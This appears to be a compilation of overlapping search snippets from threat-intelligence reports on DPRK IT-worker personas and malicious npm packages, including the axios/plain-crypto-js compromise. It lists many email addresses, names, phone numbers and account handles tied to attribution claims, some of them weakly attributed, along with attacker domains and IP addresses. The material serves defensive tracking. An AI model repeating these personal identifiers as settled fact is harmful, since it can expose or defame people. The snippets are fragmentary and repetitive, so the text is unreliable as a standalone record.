peceyurukov@gmail.com email insider N/A N/A Synthetic persona email 2 nikolamilev166@gmail.com email insider N/A N/A Synthetic persona email 2 emil.rysinov@outlook.com email insider N/A N/A Synthetic persona email 2…","…kitdb@outlook.com email insider N/A N/A DPRK developer email 2 d.musatovdv@gmail.com email insider N/A N/A DPRK developer email 2 nikola.radomic322@gmail.com email insider N/A N/A DPRK developer email 2 duykhanh.prodev@gmail.com email insider N/A N/A Git mirror developer identity 2…","…email insider N/A N/A Synthetic persona email 2 ivanhorvat2@outlook.com email insider N/A N/A Synthetic persona email 2 nikolastojanovski2@outlook.com email insider N/A N/A Synthetic persona email 2 gabrieltamas1@outlook.com email insider N/A N/A Synthetic persona email 2…","…naleksei2@gmail.com niceandyliu@gmail.com nicholaschan082@gmail.com nightfurry0308@gmail.com nijohow212@andorem.com niko.salo0917@gmail.com nikolay.kozlov1118@gmail.com nikula@vomoto.com nilsbuck0123@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com noakosar@gmail.com noaroos0000@gmail.com nomanson091…","…wssstrike@gmail.com nguenaleksei2@gmail.com niceandyliu@gmail.com nicholaschan082@gmail.com nightfurry0308@gmail.com nijohow212@andorem.com niko.salo0917@gmail.com nikolay.kozlov1118@gmail.com nikula@vomoto.com nilsbuck0123@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com noakosar@gmail.com noar…","…liko.sonexarth@gmail.com liko.sonexarth@hotmail.com longines0924@gmail.com lujindane@outlook.com matthewhall14541@gmail.com niko.sonexarth@gmail.com niko.sonexarth@hotmail.com oscar.vetres127@europe.com oscar.vetres127@gmail.com pinefirst@outlook.com reply9998@gmail.com…","…iu@gmail.com nicholaschan082@gmail.com nightfurry0308@gmail.com nijohow212@andorem.com niko.salo0917@gmail.com nikolay.kozlov1118@gmail.com nikula@vomoto.com nilsbuck0123@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com noakosar@gmail.com noaroos0000@gmail.com nomanson0910@gmail.com nrr072…","…laschan082@gmail.com nightfurry0308@gmail.com nijohow212@andorem.com niko.salo0917@gmail.com nikolay.kozlov1118@gmail.com nikula@vomoto.com nilsbuck0123@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com noakosar@gmail.com noaroos0000@gmail.com nomanson0910@gmail.com nrr0729@gmail.com o1igqlbx@jo…","…mischenko0604@gmail.com mykolakostenko16@gmail.com mykolasvyryd20@gmail.com natinbusiness.work@gmail.com ninaquigleyfgsja22730@outlook.com oka.setiawanet@hotmail.com ohmlsnwz1502@hotmail.com oliverwilson1976@hotmail.com ossargd@xuseca.cloud…","…ghtfurry0308@gmail.com nijohow212@andorem.com niko.salo0917@gmail.com nikolay.kozlov1118@gmail.com nikula@vomoto.com nilsbuck0123@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com noakosar@gmail.com noaroos0000@gmail.com nomanson0910@gmail.com nrr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com o…","…2f244ade98ebb5ae72391b253630c30dbcde4ec3c186a49483c56bcf14eafc92 2026-08-14 tailwind-plugin-kit (1.3.2) 2026-08-14 ninja318 <ninja.fullstackdev999@gmail.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…ijohow212@andorem.com niko.salo0917@gmail.com nikolay.kozlov1118@gmail.com nikula@vomoto.com nilsbuck0123@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com noakosar@gmail.com noaroos0000@gmail.com nomanson0910@gmail.com nrr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com okiseiichi2@gmail.com o…","…email insider N/A N/A Threat actor persona email 4 stolic5star@gmail.com email insider N/A N/A Threat actor persona email 4 nkvasic5star@gmail.com email insider N/A N/A Threat actor persona email 4 freelancer.honest.developer@gmail.com email insider N/A N/A Threat actor persona…","…Selectors Associated with SANS FAB 326 Payment Account Emails aleecn@163.com stefaniezh7@gmail.com yisselmanrique@yahoo.com nmling_624@icloud.com 179546932@qq.com gfraticelli1@gmail.com 326 MSMT Participating State information. Pay ment Account Aliases acleen…","…6251624532) - rok.co/@alek806 --- #### Hiroto Iwaki / Taku Yamamoto / Iwaki Hiroto - mymiracle0118 - iwakihiroto - noahsflood908 - noahsflood908@gmail.com - linkedin.com/in/hiroto-iwaki-54b207306 - github.com/mymiracle0118 •…","…bestselection18 appears as the most recent and currently active identity; however, the noahsflood908@gmail.com email bestselection18 uses was also attached to: mymiracle0118 GitHub handle, currently deleted. SweetDream GitHub handle, which…","…niko.salo0917@gmail.com nikolay.kozlov1118@gmail.com nikula@vomoto.com nilsbuck0123@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com noakosar@gmail.com noaroos0000@gmail.com nomanson0910@gmail.com nrr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com okiseiichi2@gmail.com oksanashuhaliia@gmai…","….com nikolay.kozlov1118@gmail.com nikula@vomoto.com nilsbuck0123@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com noakosar@gmail.com noaroos0000@gmail.com nomanson0910@gmail.com nrr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com okiseiichi2@gmail.com oksanashuhaliia@gmail.com oleh@vividunity.…","…2026-09-16 tailwindcss-contact-form (0.5.1) 2026-09-16 nolap25258 <nolap25258@jobscai.com> stapi.io h.drpc.org e.com et 1r www.w3.org https://et https://1r http://www.w3.org/2000/svg…","…8@gmail.com nikula@vomoto.com nilsbuck0123@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com noakosar@gmail.com noaroos0000@gmail.com nomanson0910@gmail.com nrr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com okiseiichi2@gmail.com oksanashuhaliia@gmail.com oleh@vividunity.com olivear007@gmail.co…","…If possible, please let me know when I can make a Payoneer payment. --- [2025-12-24 01:46:32] PC-1234 noor.llc@outlook.com --- [2025-12-24 13:02:46] cyj_wsrw thank you.…","…Payoneer account External 🟢 Confirmed pandora.llc@outlook.com PC-1234 Payoneer account External 🟢 Confirmed noor.llc@outlook.com PC-1234 Payoneer account External 🟢 Confirmed MSTshimuli@outlook.com PC-1234 Payoneer account External 🟢 Confirmed…","…default parameters : Type Indicator Note Branch name dev_remote_ea5Eu/test/v1 Committer name nord-stream Committer email nord-stream@localhost.com Commit message Test deployment Commit message Remove test deployment User agent Mozilla/5.0 (Windows NT 10.0; Win64; x64)…","…email insider N/A N/A Synthetic persona email 2 ladislav.kvarda525@gmail.com email insider N/A N/A Synthetic persona email 2 novskapetar@gmail.com email insider N/A N/A Synthetic persona email 2 peceyurukov@gmail.com email insider N/A N/A Synthetic persona email 2…","…express-lib-validator 2026-03-25 npm index recovery overpower10999@gmail.com express-session-validator - - npm@npmjs.com farm-orchestrator 2026-04-20 live registry atddevs@gmail.com farm-runner 2026-04-20 live registry…","…to.com nilsbuck0123@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com noakosar@gmail.com noaroos0000@gmail.com nomanson0910@gmail.com nrr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com okiseiichi2@gmail.com oksanashuhaliia@gmail.com oleh@vividunity.com olivear007@gmail.com oliverleedev@gma…","…· compromised legitimate axios maintainer, email changed to ifstap@proton.me[email protected] nrwise · attacker-created account, nrwise@proton.me[email protected] , published plain-crypto-js Assesing wheter your npm system is affected The Safe Version Reference is:…","…UTC — axios@1.14.0 published legitimately via GitHub Actions OIDC 2026-03-30 05:57 UTC — plain-crypto-js@4.2.0 published by nrwise ( nrwise@proton.me ) — clean decoy to build registry history 2026-03-30 23:59 UTC — plain-crypto-js@4.2.1 published by nrwise — malicious version with…","…\" }, { \"platform\" : \" npm \" , \"username\" : \" nrwise \" , \"email\" : \" nrwise@proton.me \" , \"type\" : \" created_by_attacker \" , \"status\" : \" suspended \" } ],…","…chain takes under two seconds. Timeline Event T-18 hours Attacker publishes clean decoy plain-crypto-js@4.2.0 from account nrwise@proton.me T-0 Malicious plain-crypto-js@4.2.1 published with postinstall hook containing obfuscated dropper T+0 Compromised axios@1.14.1 and…","…and Huntress : 142.11.206.73 23.254.167.216 http://sfrclak.com http://sfrclak.com:8000 http://sfrclak.com:8000/6202033 ifstap@proton.me nrwise@proton.me Email Addresses The email addresses that have been used to push the malicious package utilized proton.me as an email provider.…","…주요 공격 내용 상세 공격현황 2026-03-30 05:57 사전 포석용 패키지 배포 ( v4.2.0 ) • 악성코드가 없는 클린한 버전의 plain-crypto-js 배포( nrwise@proton.me ) • 정상적인 crypto-js 복사본으로, 악성 코드나 postinstall 훅이 없는 정상코드만 포함 • 신규 계정에 대한 보안 스캐너의 의심을 피하기 위한 '정상 이력(History)' 생성 목적으로 사용…","…Issue #10590 deleted.\" }, { \"platform\": \"npm\", \"username\": \"nrwise\", \"email\": \"nrwise@proton.me\", \"type\": \"created_by_attacker\", \"status\": \"suspended\" } ],…","…Accounts : jasonsaayman · compromised legitimate axios maintainer, email changed to ifstap@proton.me nrwise · attacker-created account, nrwise@proton.me, published plain-crypto-js Assesing wheter your npm system is affected The Safe Version Reference is: axios@1.14.0 (safe) · shasum:…","…sobaka1525@outlook.com Vanesapaula81@outlook.com joaopebasso12@outlook.fr Rodrigonahuelsanchez1998@outlook.com.ar nurtissera@outlook.com aitbaunty@outlook.com e56372626@gmail.com denis0316@outlook.com dreamstone111@outlook.com gabrielamartinsghera@yahoo.com…","…and the malicious file was committed by GitHub user DARQ-Envoy: commit addbf305fe29949810b536456987e1185dc9a3c0 Author: Timothy <nwokejitimoth00@gmail.com> Date: Sat Nov 29 20:28:22 2025 +0100 initial commit Hunting Simply looking for DNS requests to drive.google.com from a Node.js…","…3@gmail.com ninja.dev2424@gmail.com nirosofthub@gmail.com noakosar@gmail.com noaroos0000@gmail.com nomanson0910@gmail.com nrr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com okiseiichi2@gmail.com oksanashuhaliia@gmail.com oleh@vividunity.com olivear007@gmail.com oliverleedev@gmail.com olivertim0512@gmail.com olm…","…newprimehomes70695@gmail.com newskyrealestate29771@gmail.com nextlevelproperties84193@gmail.com nexthomeadviser68116@gmail.com oakwoodpropertyteam97341@gmail.com opalqwntfqqp7270@outlook.com openhouserealestateagent27183@gmail.com palmhouserealestate02758@gmail.com…","…---------------------------------------- Emails: intellichain555@gmail.com chainerspace@gmail.com fullasher@gmail.com cyberos999@gmail.com odincui@gmail.com sunnykan314@gmail.com salbu15154@gmail.com salbuvabybit@hotmail.com mykytadunaiev@outlook.com moktamd3@gmail.com Sites: github.com/intelli…","…mykolasvyryd20@gmail.com natinbusiness.work@gmail.com ninaquigleyfgsja22730@outlook.com oka.setiawanet@hotmail.com ohmlsnwz1502@hotmail.com oliverwilson1976@hotmail.com ossargd@xuseca.cloud pandaroyal48@outlook.com patterson.ariel@outlook.com…","…mykolakostenko16@gmail.com mykolasvyryd20@gmail.com natinbusiness.work@gmail.com ninaquigleyfgsja22730@outlook.com oka.setiawanet@hotmail.com ohmlsnwz1502@hotmail.com oliverwilson1976@hotmail.com ossargd@xuseca.cloud pandaroyal48@outlook.com…","…m nirosofthub@gmail.com noakosar@gmail.com noaroos0000@gmail.com nomanson0910@gmail.com nrr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com okiseiichi2@gmail.com oksanashuhaliia@gmail.com oleh@vividunity.com olivear007@gmail.com oliverleedev@gmail.com olivertim0512@gmail.com olman.estaban@minofangle.…","…m noakosar@gmail.com noaroos0000@gmail.com nomanson0910@gmail.com nrr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com okiseiichi2@gmail.com oksanashuhaliia@gmail.com oleh@vividunity.com olivear007@gmail.com oliverleedev@gmail.com olivertim0512@gmail.com olman.estaban@minofangle.org on9j10kk@codeninja819.…","…sujitb2114 - 0x6c88dd91de053fca915baece6868f6c32d20adea ### Ikeda Okura (Shiba Inu) - ikeda.okura@gmail.com - okura.ikeda0325@gmail.com - github.com/chainlito • [Archive](https://archive.ph/wmnFn) - woof_decentra - horaciogar - chainreactorik - teddybran -…","…2026 neila@ondofinance.tech Email address Attacker-controlled email address April 2026 oladotuna@ondofinance.tech Email address Attacker-controlled email address April 2026 sarikasinha@nxlog.tech Email address…","…Muravskyi (aka Artur Dranhoi) - oleksandr-muravskyi - PrinceCharming0115 - artur.dranhoi@exiod.io - coolprince0115@gmail.com - ole.dev300@hotmail.com - olek.muravskyi@outlook.com #### Joel Kursala - 0xa8cB25ddf0A7195BDc3232ac6e1D812c8a4713Fe #### Daniel Klein / Richard Loan -…","…email insider N/A N/A Synthetic persona email 2 stanislav.timko@outlook.com email insider N/A N/A Synthetic persona email 2 oleg.kaplanski@outlook.com email insider N/A N/A Synthetic persona email 2 rafael.ratkovic@outlook.com email insider N/A N/A Synthetic persona email 2…","…email insider N/A N/A Threat actor persona email 4 ronaldofanclub112@gmail.com email insider N/A N/A Threat actor persona email 4 olegevgen@inbox.lt email insider N/A N/A Threat actor persona email 4 15414257086 phone number insider N/A N/A Threat actor persona phone number 4…","…os0000@gmail.com nomanson0910@gmail.com nrr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com okiseiichi2@gmail.com oksanashuhaliia@gmail.com oleh@vividunity.com olivear007@gmail.com oliverleedev@gmail.com olivertim0512@gmail.com olman.estaban@minofangle.org on9j10kk@codeninja819.anonaddy.com onceema…","Read on 28 September 2026 from the site's own page and the script bundles it loads. The portfolio Heiner García's Wagemole article names beside the vuedev2113 GitHub account gives an address, a phone number and a LinkedIn profile under the name Oleh Zamryha. The site is not tied to a named persona, so the set is filed unattributed.","…Dranhoi) - oleksandr-muravskyi - PrinceCharming0115 - artur.dranhoi@exiod.io - coolprince0115@gmail.com - ole.dev300@hotmail.com - olek.muravskyi@outlook.com #### Joel Kursala - 0xa8cB25ddf0A7195BDc3232ac6e1D812c8a4713Fe #### Daniel Klein / Richard Loan - richardloan0221@gmail.com -…","…Email addresses: handy.apple117@gmail.com, antongoss11995@gmail.com, oleksandr.hryniuk@accurasofthire.com, support@accurasofthire.com npm: tailwind-custom-forms, tailwindcss-contact-forms, tailwind-form-styles, tailwind-forms-kit,…","…developer accounts Year in Review markstevemark85@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review oleksandrbokii963@gmail.com email malware N/A N/A DPRK malware developer accounts Year in Review paniker1110@gmail.com email malware N/A N/A DPRK malware developer…","…jacksonblau11ai@gmail.com jinping0821@outlook.com rodolfguerr@gmail.com david262721@outlook.com chulovskaolena@outlook.com oleksandrkazadaiev522@gmail.com hera19970204@outlook.com zeus19970204@outlook.com imanwdr30@hotmail.com scarlet112603@outlook.com garnerbrandy1230@gmail.com…","…mr.new0509@gmail.com mykytafullstack@gmail.com naruhitokaide@gmail.com nektarioskampourakis571@gmail.com nicolas.edgardo1028@gmail.com oleksandr.sytnikov0413@gmail.com oliwerpalm@outlook.com progdev77@gmail.com proharvester@outlook.com raikovskyi830@gmail.com ranko746.dev@gmail.com ripaelit1111@gmail…","…, \"name\" : \"AngrySusanoo\" \"email\" : \"126177355+SusanoO-O@users.noreply.github.com\" , \"name\" : \"SusanoO\" \"email\" : \"oleksandr.sytnikov0413@gmail.com\" , \"name\" : \"Theodor Nakajima\" \"email\" : \"wind.shadow1004@gmail.com\" , \"name\" : \"AlterShow\" Contributors to CrazyDream00…","…identities to receive client payments: leonellaplacette2@gmail.com — ChongJin-Industry2 michalmilewski1@outlook.com — CIC team (ri cholho) oleksii1115@gmail.com — ChongJin-Industry2 Name leaked: Muhammad Junaid / Lupi Blame Top Remitters (8 Dec 2025 – 28 Feb 2026) rcm (Unit 1020): $614k USDT sam…","…Raw Chat 🟢 External information oleksii1115@gmail.com[email protected] ChongJin-Industry2 Gmail - Ukrainian male name cover · Payoneer GitHub: github.com/voleks3d (3D developer profile)…","…Raw Chat 🟢 External information oleksii1115@gmail.com ChongJin-Industry2 Gmail - Ukrainian male name cover · Payoneer GitHub: github.com/voleks3d (3D developer profile) External 🟢…","…Review jasonfissionawgyi08293@outlook.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review olelangaard9@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review mirandacunningham1993@outlook.com email…","…anson0910@gmail.com nrr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com okiseiichi2@gmail.com oksanashuhaliia@gmail.com oleh@vividunity.com olivear007@gmail.com oliverleedev@gmail.com olivertim0512@gmail.com olman.estaban@minofangle.org on9j10kk@codeninja819.anonaddy.com onceemail@crowd.teml.net onl…","…rr0729@gmail.com o1igqlbx@joseffranke.anonaddy.com okiseiichi2@gmail.com oksanashuhaliia@gmail.com oleh@vividunity.com olivear007@gmail.com oliverleedev@gmail.com olivertim0512@gmail.com olman.estaban@minofangle.org on9j10kk@codeninja819.anonaddy.com onceemail@crowd.teml.net onlinedev0808@gmail.com on…","…bx@joseffranke.anonaddy.com okiseiichi2@gmail.com oksanashuhaliia@gmail.com oleh@vividunity.com olivear007@gmail.com oliverleedev@gmail.com olivertim0512@gmail.com olman.estaban@minofangle.org on9j10kk@codeninja819.anonaddy.com onceemail@crowd.teml.net onlinedev0808@gmail.com onosaito0614@gmail.com ope…","…natinbusiness.work@gmail.com ninaquigleyfgsja22730@outlook.com oka.setiawanet@hotmail.com ohmlsnwz1502@hotmail.com oliverwilson1976@hotmail.com ossargd@xuseca.cloud pandaroyal48@outlook.com patterson.ariel@outlook.com pattersonariel988@gmail.com…","…nicoupdyke@hr.trixauvexnet.ink Email address Attacker-controlled email address May 2026 oliviaben@hr.pulsynk.org Email address Attacker-controlled email address May 2026 sam@hr.pulsynk.org Email address…","…ack@gmail.com naruhitokaide@gmail.com nektarioskampourakis571@gmail.com nicolas.edgardo1028@gmail.com oleksandr.sytnikov0413@gmail.com oliwerpalm@outlook.com progdev77@gmail.com proharvester@outlook.com raikovskyi830@gmail.com ranko746.dev@gmail.com ripaelit1111@gmail.com smartdev531@gmail.…","…com okiseiichi2@gmail.com oksanashuhaliia@gmail.com oleh@vividunity.com olivear007@gmail.com oliverleedev@gmail.com olivertim0512@gmail.com olman.estaban@minofangle.org on9j10kk@codeninja819.anonaddy.com onceemail@crowd.teml.net onlinedev0808@gmail.com onosaito0614@gmail.com openmind1937@gmail.com openworld…","…PLC Millbank Brokers Murals on the Bitter Sea (Oman, UAE) Emails: --------------------------------- paekhouae@yahoo.com omanpaekho@yahoo.com Personas: --------------------------------- Mr.…","…anashuhaliia@gmail.com oleh@vividunity.com olivear007@gmail.com oliverleedev@gmail.com olivertim0512@gmail.com olman.estaban@minofangle.org on9j10kk@codeninja819.anonaddy.com onceemail@crowd.teml.net onlinedev0808@gmail.com onosaito0614@gmail.com openmind1937@gmail.com openworld20231002@gmail.com optitechservice0…","…ity.com olivear007@gmail.com oliverleedev@gmail.com olivertim0512@gmail.com olman.estaban@minofangle.org on9j10kk@codeninja819.anonaddy.com onceemail@crowd.teml.net onlinedev0808@gmail.com onosaito0614@gmail.com openmind1937@gmail.com openworld20231002@gmail.com optitechservice0719@gmail.com oranvitalia…","…email insider N/A N/A Threat actor-controlled email 1 michael.getz28@gmail.com email insider N/A N/A Threat actor-controlled email 1 onepushsing@gmail.com email insider N/A N/A Threat actor-controlled email 1 owaisugh75@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…Marcin Iwanski - Liguo Ma - Pirachat Chaiwongrote - promseislaw@gmail.com - smartdevpro001@gmail.com - brentjeremynel@gmail.com - onetouch0525@gmail.com - kevinlee2821@gmail.com - leondragandevelop@gmail.com - eric2022412@gmail.com - ma.liguo@outlook.com -…","…smartdevpro001@gmail.com[email protected] brentjeremynel@gmail.com[email protected] onetouch0525@gmail.com[email protected] kevinlee2821@gmail.com[email protected] leondragandevelop@gmail.com[email protected]…","…Iwanski): --------------------------------------------- Emails: promseislaw@gmail.com smartdevpro001@gmail.com brentjeremynel@gmail.com onetouch0525@gmail.com kevinlee2821@gmail.com leondragandevelop@gmail.com eric2022412@gmail.com ma.liguo@outlook.com donatelo212dunccine@gmail.com ernestpapyan@gm…","…com oliverleedev@gmail.com olivertim0512@gmail.com olman.estaban@minofangle.org on9j10kk@codeninja819.anonaddy.com onceemail@crowd.teml.net onlinedev0808@gmail.com onosaito0614@gmail.com openmind1937@gmail.com openworld20231002@gmail.com optitechservice0719@gmail.com oranvitaliano@gmail.com orville.day…","…om olivertim0512@gmail.com olman.estaban@minofangle.org on9j10kk@codeninja819.anonaddy.com onceemail@crowd.teml.net onlinedev0808@gmail.com onosaito0614@gmail.com openmind1937@gmail.com openworld20231002@gmail.com optitechservice0719@gmail.com oranvitaliano@gmail.com orville.dayvon@minutestep.com osam…","…Year in Review melnikoleg995@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review opalinsigniagyprt29567@hotmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review thorneaustinngzsz52979@outlook.com email…","…nextlevelproperties84193@gmail.com nexthomeadviser68116@gmail.com oakwoodpropertyteam97341@gmail.com opalqwntfqqp7270@outlook.com openhouserealestateagent27183@gmail.com palmhouserealestate02758@gmail.com peaksummitproperty81546@gmail.com…","…nexthomeadviser68116@gmail.com oakwoodpropertyteam97341@gmail.com opalqwntfqqp7270@outlook.com openhouserealestateagent27183@gmail.com palmhouserealestate02758@gmail.com peaksummitproperty81546@gmail.com peterandr345@gmail.com ponbok20251123@outlook.com…","…com olman.estaban@minofangle.org on9j10kk@codeninja819.anonaddy.com onceemail@crowd.teml.net onlinedev0808@gmail.com onosaito0614@gmail.com openmind1937@gmail.com openworld20231002@gmail.com optitechservice0719@gmail.com oranvitaliano@gmail.com orville.dayvon@minutestep.com osamu94128@gmail.com oslavs…","…angle.org on9j10kk@codeninja819.anonaddy.com onceemail@crowd.teml.net onlinedev0808@gmail.com onosaito0614@gmail.com openmind1937@gmail.com openworld20231002@gmail.com optitechservice0719@gmail.com oranvitaliano@gmail.com orville.dayvon@minutestep.com osamu94128@gmail.com oslavska97@gmail.com oxankaorb@gma…","…819.anonaddy.com onceemail@crowd.teml.net onlinedev0808@gmail.com onosaito0614@gmail.com openmind1937@gmail.com openworld20231002@gmail.com optitechservice0719@gmail.com oranvitaliano@gmail.com orville.dayvon@minutestep.com osamu94128@gmail.com oslavska97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.…","…wd.teml.net onlinedev0808@gmail.com onosaito0614@gmail.com openmind1937@gmail.com openworld20231002@gmail.com optitechservice0719@gmail.com oranvitaliano@gmail.com orville.dayvon@minutestep.com osamu94128@gmail.com oslavska97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.causa121@gmail.com pabab…","…prettier-logger 2026-03-27 live registry aleksis2026dev@outlook.com psxjson 2026-03-23 live registry orbanmarik@gmail.com relion-chain 2026-03-26 graph first seen hello@jsonspack.com rollup-plugin-polyfill-route 2026-03-20 graph first…","…ReadMe commit:](https://github.com/sea-sol/sea-sol/commit/2eb605d3dde40436a736df8f231b8a41149fdf85.patch)\\n- Alias: Mufasa\\n- orestoriga20119@gmail.com\\n- GitHub name: King-Mufasa\\n \\n[Nov 21, 2021…","Address linked by first-party review to the LinkedIn account matthew-orozco-62659231a. It follows the name-plus-digits pattern documented across DPRK IT-worker personas, though that pattern alone is common enough that it is corroboration rather than evidence on its own.","…8@gmail.com onosaito0614@gmail.com openmind1937@gmail.com openworld20231002@gmail.com optitechservice0719@gmail.com oranvitaliano@gmail.com orville.dayvon@minutestep.com osamu94128@gmail.com oslavska97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.causa121@gmail.com pababravo@gmail.com pandadev0610@gm…","….com openmind1937@gmail.com openworld20231002@gmail.com optitechservice0719@gmail.com oranvitaliano@gmail.com orville.dayvon@minutestep.com osamu94128@gmail.com oslavska97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.causa121@gmail.com pababravo@gmail.com pandadev0610@gmail.com pandajr9719@g…","…longines0924@gmail.com lujindane@outlook.com matthewhall14541@gmail.com niko.sonexarth@gmail.com niko.sonexarth@hotmail.com oscar.vetres127@europe.com oscar.vetres127@gmail.com pinefirst@outlook.com reply9998@gmail.com richard.stewart.1202@gmail.com…","…Email:oscarjj0924@gmail.com Phone:+522212528618 #(WhatsApp, Telegram) To compensate for this, and as thanks for reading this far, here’s a little extra. The image…","…matthewhall14541@gmail.com niko.sonexarth@gmail.com niko.sonexarth@hotmail.com oscar.vetres127@europe.com oscar.vetres127@gmail.com pinefirst@outlook.com reply9998@gmail.com richard.stewart.1202@gmail.com richard.stewart.1202@outlook.com…","…ernestpapyan@gmail.com - topsmartpro@prolocalize.com - yatsukalbert@outlook.com - talentdev610@gmail.com - leonpower123@outlook.com - oskardev0112@gmail.com - 88yurchak@gmail.com - github.com/brent-jeremy - github.com/Smart-Dev-0205 - github.com/talented-blockchain-dev -…","…ccine@gmail.com ernestpapyan@gmail.com topsmartpro@prolocalize.com yatsukalbert@outlook.com talentdev610@gmail.com leonpower123@outlook.com oskardev0112@gmail.com 88yurchak@gmail.com Github: https://github.com/brent-jeremy https://github.com/Smart-Dev-0205 https://github.com/talented-blockchain-dev h…","…il.com openworld20231002@gmail.com optitechservice0719@gmail.com oranvitaliano@gmail.com orville.dayvon@minutestep.com osamu94128@gmail.com oslavska97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.causa121@gmail.com pababravo@gmail.com pandadev0610@gmail.com pandajr9719@gmail.com paramountsky…","…email insider N/A N/A Synthetic persona email 2 vaikokangur45@outlook.com email insider N/A N/A Synthetic persona email 2 osogovskiplanini001@outlook.com email insider N/A N/A Synthetic persona email 2 aleksonikov001@outlook.com email insider N/A N/A Synthetic persona email 2…","…ninaquigleyfgsja22730@outlook.com oka.setiawanet@hotmail.com ohmlsnwz1502@hotmail.com oliverwilson1976@hotmail.com ossargd@xuseca.cloud pandaroyal48@outlook.com patterson.ariel@outlook.com pattersonariel988@gmail.com patrickweberman@outlook.com…","…2026-04-06 live registry thyfaultkathy4263@hotmail.com express-lib-validator 2026-03-25 npm index recovery overpower10999@gmail.com express-session-validator - - npm@npmjs.com farm-orchestrator 2026-04-20 live registry atddevs@gmail.com…","…email insider N/A N/A Threat actor-controlled email 1 onepushsing@gmail.com email insider N/A N/A Threat actor-controlled email 1 owaisugh75@gmail.com email insider N/A N/A Threat actor-controlled email 1 paku_2018@yahoo.co.jp email insider N/A N/A Threat actor-controlled email 1…","…002@gmail.com optitechservice0719@gmail.com oranvitaliano@gmail.com orville.dayvon@minutestep.com osamu94128@gmail.com oslavska97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.causa121@gmail.com pababravo@gmail.com pandadev0610@gmail.com pandajr9719@gmail.com paramountsky9990@gmail.com parke…","…<smartpayauthor@gmail.com> Domains: - vscode-load-config.vercel.app ## Variant ten - November 11, 2025 - Unique Identifier: flag=1 p_e_t-admin@bitbucket.org/p_e_t #### Notes: This is the only repository we've identified that uses Bitbucket, however we've seen an overall increase in the use of…","…chservice0719@gmail.com oranvitaliano@gmail.com orville.dayvon@minutestep.com osamu94128@gmail.com oslavska97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.causa121@gmail.com pababravo@gmail.com pandadev0610@gmail.com pandajr9719@gmail.com paramountsky9990@gmail.com parketech88030+3@gmail.co…","…l.com orville.dayvon@minutestep.com osamu94128@gmail.com oslavska97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.causa121@gmail.com pababravo@gmail.com pandadev0610@gmail.com pandajr9719@gmail.com paramountsky9990@gmail.com parketech88030+3@gmail.com parketech88030@gmail.com passionatedev03…","…com oranvitaliano@gmail.com orville.dayvon@minutestep.com osamu94128@gmail.com oslavska97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.causa121@gmail.com pababravo@gmail.com pandadev0610@gmail.com pandajr9719@gmail.com paramountsky9990@gmail.com parketech88030+3@gmail.com parketech88030@gmail…","…Insurance PLC Millbank Brokers Murals on the Bitter Sea (Oman, UAE) Emails: --------------------------------- paekhouae@yahoo.com[email protected] omanpaekho@yahoo.com[email protected] Personas: --------------------------------- Mr.…","…email insider N/A N/A Threat actor-controlled email 1 owaisugh75@gmail.com email insider N/A N/A Threat actor-controlled email 1 paku_2018@yahoo.co.jp email insider N/A N/A Threat actor-controlled email 1 pohs0131@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…oakwoodpropertyteam97341@gmail.com opalqwntfqqp7270@outlook.com openhouserealestateagent27183@gmail.com palmhouserealestate02758@gmail.com peaksummitproperty81546@gmail.com peterandr345@gmail.com ponbok20251123@outlook.com premierhouseagent68861@gmail.com…","…log-server-lovat.vercel.app vite-plugin-next-refresh v1.1.2 pablomendes (pancake911205@gmail.com) 2025-06-09 y f290db50ffe64d4fb5fe409d3d1c8eca6f6711e4bbd85a13c9dce055508cc1b3 log-server-lovat.vercel.app nextjs-babel-toastify v1.0.7,…","…email insider N/A N/A Threat actor persona email 4 luislee.software@gmail.com email insider N/A N/A Threat actor persona email 4 panda95718@gmail.com email insider N/A N/A Threat actor persona email 4 givometeq@mentonit.net email insider N/A N/A Threat actor persona email 4…","…@minutestep.com osamu94128@gmail.com oslavska97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.causa121@gmail.com pababravo@gmail.com pandadev0610@gmail.com pandajr9719@gmail.com paramountsky9990@gmail.com parketech88030+3@gmail.com parketech88030@gmail.com passionatedev0317@gmail.com passionate…","…128@gmail.com oslavska97@gmail.com oxankaorb@gmail.com p.rango@outlook.com pa.causa121@gmail.com pababravo@gmail.com pandadev0610@gmail.com pandajr9719@gmail.com paramountsky9990@gmail.com parketech88030+3@gmail.com parketech88030@gmail.com passionatedev0317@gmail.com passionatedev210@gmail.com passi…","…oka.setiawanet@hotmail.com ohmlsnwz1502@hotmail.com oliverwilson1976@hotmail.com 